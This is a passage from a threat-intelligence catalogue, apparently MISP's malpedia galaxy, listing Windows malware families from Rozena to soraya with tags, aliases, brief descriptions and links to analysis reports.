Rozena is also known as:

Table 1785. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena
https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena

RTM

The tag is: misp-galaxy:malpedia="RTM"

RTM is also known as:

Table 1786. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

rtpos

The tag is: misp-galaxy:malpedia="rtpos"

rtpos is also known as:

Table 1787. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos
https://boozallenmts.com/resources/news/rtpos-new-point-sale-malware-family-uncovered

Ruckguv

The tag is: misp-galaxy:malpedia="Ruckguv"

Ruckguv is also known as:

Table 1788. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Rumish

The tag is: misp-galaxy:malpedia="Rumish"

Rumish is also known as:

Table 1789. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish

running_rat

The tag is: misp-galaxy:malpedia="running_rat"

running_rat is also known as:

Table 1790. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Rurktar

The tag is: misp-galaxy:malpedia="Rurktar"

Rurktar is also known as:

RCSU

Table 1791. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar
https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction

Rustock

The tag is: misp-galaxy:malpedia="Rustock"

Rustock is also known as:

Table 1792. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock
http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf
http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html
http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html
https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html
https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/
http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf
https://www.secureworks.com/blog/research-21041
http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/

Ryuk

The tag is: misp-galaxy:malpedia="Ryuk"

Ryuk is also known as:

Table 1793. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk
https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware
https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
https://www.latimes.com/local/lanow/la-me-ln-times-delivery-disruption-20181229-story.html
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/

SAGE

The tag is: misp-galaxy:malpedia="SAGE"

SAGE is also known as:

Saga

Table 1794. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga
http://malware-traffic-analysis.net/2017/10/13/index.html
https://blog.malwarebytes.com/threat-analysis/2017/03/explained-sage-ransomware/

Sakula RAT

Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.

The tag is: misp-galaxy:malpedia="Sakula RAT"

Sakula RAT is also known as:

Sakurel

Table 1795. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat
https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/sakula-an-adventure-in-dll-planting/?page=1
https://www.symantec.com/security_response/writeup.jsp?docid=2014-022401-3212-99
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula
https://www.secureworks.com/research/sakula-malware-family

Salgorea

The tag is: misp-galaxy:malpedia="Salgorea"

Salgorea is also known as:

Table 1796. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea
https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf

Sality

The tag is: misp-galaxy:malpedia="Sality"

Sality is also known as:

Table 1797. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sality
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/sality_peer_to_peer_viral_network.pdf
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P18-Kleissner-Sality.pdf

SamSam

The tag is: misp-galaxy:malpedia="SamSam"

SamSam is also known as:

Table 1798. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam
http://blog.talosintel.com/2016/03/samsam-ransomware.html
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx
https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/
https://www.justice.gov/opa/pr/two-iranian-men-indicted-deploying-ransomware-extort-hospitals-municipalities-and-public
https://nakedsecurity.sophos.com/2018/05/01/samsam-ransomware-a-mean-old-dog-with-a-nasty-new-trick-report/
http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html

Sanny

The tag is: misp-galaxy:malpedia="Sanny"

Sanny is also known as:

Daws

Table 1799. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny
http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html

SappyCache

The tag is: misp-galaxy:malpedia="SappyCache"

SappyCache is also known as:

Table 1800. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache
https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html

Sarhust

The tag is: misp-galaxy:malpedia="Sarhust"

Sarhust is also known as:

Hussarini

Table 1801. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a
https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html

Sasfis

Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.

The tag is: misp-galaxy:malpedia="Sasfis"

Sasfis is also known as:

Oficla

Table 1802. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis
https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/
https://www.symantec.com/security-center/writeup/2010-020210-5440-99
https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/
https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj_{Sasfis-O/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Sasfis-O/detailed-analysis.aspx]
https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign

Satan Ransomware

The tag is: misp-galaxy:malpedia="Satan Ransomware"

Satan Ransomware is also known as:

DBGer
Lucky Ransomware

Table 1803. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satan
https://www.sangfor.com/source/blog-network-security/1094.html
https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread
https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html
http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/

Satana

The tag is: misp-galaxy:malpedia="Satana"

Satana is also known as:

Table 1804. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.satana
https://www.cylance.com/threat-spotlight-satan-raas

Sathurbot

The tag is: misp-galaxy:malpedia="Sathurbot"

Sathurbot is also known as:

Table 1805. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/

ScanPOS

The tag is: misp-galaxy:malpedia="ScanPOS"

ScanPOS is also known as:

Table 1806. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos
https://securitykitten.github.io/2016/11/15/scanpos.html
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware

Schneiken

Schneiken is a VBS 'Double-dropper'. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.

The tag is: misp-galaxy:malpedia="Schneiken"

Schneiken is also known as:

Table 1807. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken
https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb
https://github.com/vithakur/schneiken

Scote

The tag is: misp-galaxy:malpedia="Scote"

Scote is also known as:

Table 1808. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scote
https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/

ScreenLocker

The tag is: misp-galaxy:malpedia="ScreenLocker"

ScreenLocker is also known as:

Table 1809. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.screenlocker
https://twitter.com/struppigel/status/791535679905927168

SeaDaddy

The tag is: misp-galaxy:malpedia="SeaDaddy"

SeaDaddy is also known as:

Table 1810. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

SeaSalt

The tag is: misp-galaxy:malpedia="SeaSalt"

SeaSalt is also known as:

Table 1811. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

SeDll

The tag is: misp-galaxy:malpedia="SeDll"

SeDll is also known as:

Table 1812. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/

Sedreco

The tag is: misp-galaxy:malpedia="Sedreco"

Sedreco is also known as:

azzy
eviltoss

Table 1813. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

Seduploader

The tag is: misp-galaxy:malpedia="Seduploader"

Seduploader is also known as:

carberplike
downrage
jhuhugit
jkeyskw

Table 1814. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/
https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/
https://blog.xpnsec.com/apt28-hospitality-malware-part-2/
https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed

SendSafe

The tag is: misp-galaxy:malpedia="SendSafe"

SendSafe is also known as:

Table 1815. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe

Serpico

The tag is: misp-galaxy:malpedia="Serpico"

Serpico is also known as:

Table 1816. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico

ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: misp-galaxy:malpedia="ServHelper"

ServHelper is also known as:

Table 1817. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf
https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/
https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/
https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware

shadowhammer

The tag is: misp-galaxy:malpedia="shadowhammer"

shadowhammer is also known as:

Table 1818. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer
https://skylightcyber.com/2019/03/28/unleash-the-hash-shadowhammer-mac-list/
https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/
https://securelist.com/operation-shadowhammer/89992/
https://blog.reversinglabs.com/blog/forging-the-shadowhammer
https://www.vkremez.com/2019/03/lets-learn-dissecting-operation.html

ShadowPad

The tag is: misp-galaxy:malpedia="ShadowPad"

ShadowPad is also known as:

XShellGhost

Table 1819. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
https://securelist.com/shadowpad-in-corporate-networks/81432/
https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf
http://www.dailysecu.com/?mod=bbs&act=download&bbs_id=bbs_10&upload_idxno=4070

Shakti

The tag is: misp-galaxy:malpedia="Shakti"

Shakti is also known as:

Table 1820. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/

SHAPESHIFT

The tag is: misp-galaxy:malpedia="SHAPESHIFT"

SHAPESHIFT is also known as:

Table 1821. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

shareip

The tag is: misp-galaxy:malpedia="shareip"

shareip is also known as:

remotecmd

Table 1822. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip
https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

SHARPKNOT

The tag is: misp-galaxy:malpedia="SHARPKNOT"

SHARPKNOT is also known as:

Bitrep

Table 1823. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot
https://eromang.zataz.com/tag/agentbase-exe/
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf

ShellLocker

The tag is: misp-galaxy:malpedia="ShellLocker"

ShellLocker is also known as:

Table 1824. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker
https://twitter.com/JaromirHorejsi/status/813726714228604928

Shifu

The tag is: misp-galaxy:malpedia="Shifu"

Shifu is also known as:

Table 1825. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/

Shim RAT

The tag is: misp-galaxy:malpedia="Shim RAT"

Shim RAT is also known as:

Table 1826. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

SHIPSHAPE

SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.

The tag is: misp-galaxy:malpedia="SHIPSHAPE"

SHIPSHAPE is also known as:

Table 1827. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Shujin

The tag is: misp-galaxy:malpedia="Shujin"

Shujin is also known as:

Table 1828. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin
http://www.nyxbone.com/malware/chineseRansom.html
https://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/

Shurl0ckr

The tag is: misp-galaxy:malpedia="Shurl0ckr"

Shurl0ckr is also known as:

Table 1829. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shurl0ckr
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Shylock

The tag is: misp-galaxy:malpedia="Shylock"

Shylock is also known as:

Caphaw

Table 1830. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock
https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/
http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html
https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/
https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/
https://www.europol.europa.eu/newsroom/news/global-action-targeting-shylock-malware
https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw

SideWinder

The tag is: misp-galaxy:malpedia="SideWinder"

SideWinder is also known as:

Table 1831. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder
https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c
https://s.tencent.com/research/report/479.html

Sierra(Alfa,Bravo, …)

The tag is: misp-galaxy:malpedia="Sierra(Alfa,Bravo, …)"

Sierra(Alfa,Bravo, …) is also known as:

Destover

Table 1832. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

Siggen6

The tag is: misp-galaxy:malpedia="Siggen6"

Siggen6 is also known as:

Table 1833. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6

Silence

The tag is: misp-galaxy:malpedia="Silence"

Silence is also known as:

TrueBot

Table 1834. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silence
http://www.intezer.com/silenceofthemoles/
https://www.group-ib.com/resources/threat-research/silence.html
https://securelist.com/the-silence/83009/
https://reaqta.com/2019/01/silence-group-targeting-russian-banks/

Silon

The tag is: misp-galaxy:malpedia="Silon"

Silon is also known as:

Table 1835. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silon
http://www.internetnews.com/security/article.php/3846186/TwoHeaded+Trojan+Targets+Online+Banks.htm
http://contagiodump.blogspot.com/2009/11/new-banking-trojan-w32silon-msjet51dll.html

Siluhdur

The tag is: misp-galaxy:malpedia="Siluhdur"

Siluhdur is also known as:

Table 1836. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur

Simda

The tag is: misp-galaxy:malpedia="Simda"

Simda is also known as:

iBank

Table 1837. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.simda
https://secrary.com/ReversingMalware/iBank/

Sinowal

The tag is: misp-galaxy:malpedia="Sinowal"

Sinowal is also known as:

Anserin
Mebroot
Quarian
Theola
Torpig

Table 1838. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal
https://en.wikipedia.org/wiki/Torpig
https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2
https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan
https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/

Sisfader

The tag is: misp-galaxy:malpedia="Sisfader"

Sisfader is also known as:

Table 1839. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/
https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4

Skarab Ransom

The tag is: misp-galaxy:malpedia="Skarab Ransom"

Skarab Ransom is also known as:

Table 1840. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skarab_ransom
http://malware-traffic-analysis.net/2017/11/23/index.html

Skyplex

The tag is: misp-galaxy:malpedia="Skyplex"

Skyplex is also known as:

Table 1841. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex

Slave

The tag is: misp-galaxy:malpedia="Slave"

Slave is also known as:

Table 1842. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slave
https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/

Slingshot

2012 first sighted
Attack vector via compromised Microtik routers where victim’s got infection when they connect to Microtik router admin software - Winbox
2018 when discovered by Kaspersky Team

Infection Vector - Infected Microtik Router > Malicious DLL (IP4.dll) in Router > User connect via windbox > Malicious DLL downloaded on computer

The tag is: misp-galaxy:malpedia="Slingshot"

Slingshot is also known as:

Table 1843. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot
https://securelist.com/apt-slingshot/84312/
https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf
https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/

SLUB

The tag is: misp-galaxy:malpedia="SLUB"

SLUB is also known as:

Table 1844. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slub
https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/

smac

The tag is: misp-galaxy:malpedia="smac"

smac is also known as:

speccom

Table 1845. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smac
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf

SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: misp-galaxy:malpedia="SmokeLoader"

SmokeLoader is also known as:

Dofoil

Table 1846. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader
https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/
https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis
https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign
https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo
https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait
https://www.cert.pl/en/news/single/dissecting-smoke-loader/
https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/

Smominru

The tag is: misp-galaxy:malpedia="Smominru"

Smominru is also known as:

Ismo

Table 1847. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/

Smrss32 Ransomware

The tag is: misp-galaxy:malpedia="Smrss32 Ransomware"

Smrss32 Ransomware is also known as:

Table 1848. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32
https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/
https://www.youtube.com/watch?v=7gCU31ScJgk

SnatchLoader

A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.

The tag is: misp-galaxy:malpedia="SnatchLoader"

SnatchLoader is also known as:

Table 1849. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader
https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/
https://twitter.com/VK_Intel/status/898549340121288704
https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/
https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/

SNEEPY

The tag is: misp-galaxy:malpedia="SNEEPY"

SNEEPY is also known as:

ByeByeShell

Table 1850. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

Snifula

The tag is: misp-galaxy:malpedia="Snifula"

Snifula is also known as:

Ursnif

Table 1851. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula
https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf

Snojan

The tag is: misp-galaxy:malpedia="Snojan"

Snojan is also known as:

Table 1852. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan
https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9

SNS Locker

The tag is: misp-galaxy:malpedia="SNS Locker"

SNS Locker is also known as:

Table 1853. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker

Sobaken

According to ESET, this RAT was derived from (the open-source) Quasar RAT.

The tag is: misp-galaxy:malpedia="Sobaken"

Sobaken is also known as:

Table 1854. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Socks5 Systemz

The tag is: misp-galaxy:malpedia="Socks5 Systemz"

Socks5 Systemz is also known as:

Table 1855. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz

SocksBot

The tag is: misp-galaxy:malpedia="SocksBot"

SocksBot is also known as:

BIRDDOG
Nadrac

Table 1856. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://www.accenture.com/t00010101T000000Zw/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf[https://www.accenture.com/t00010101T000000Zw/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf]
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

Solarbot

The tag is: misp-galaxy:malpedia="Solarbot"

Solarbot is also known as:

Napolar

Table 1857. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot
https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/
https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/

soraya

The tag is: misp-galaxy:malpedia="soraya"

soraya is also known as:

Table 1858. Table References
Links
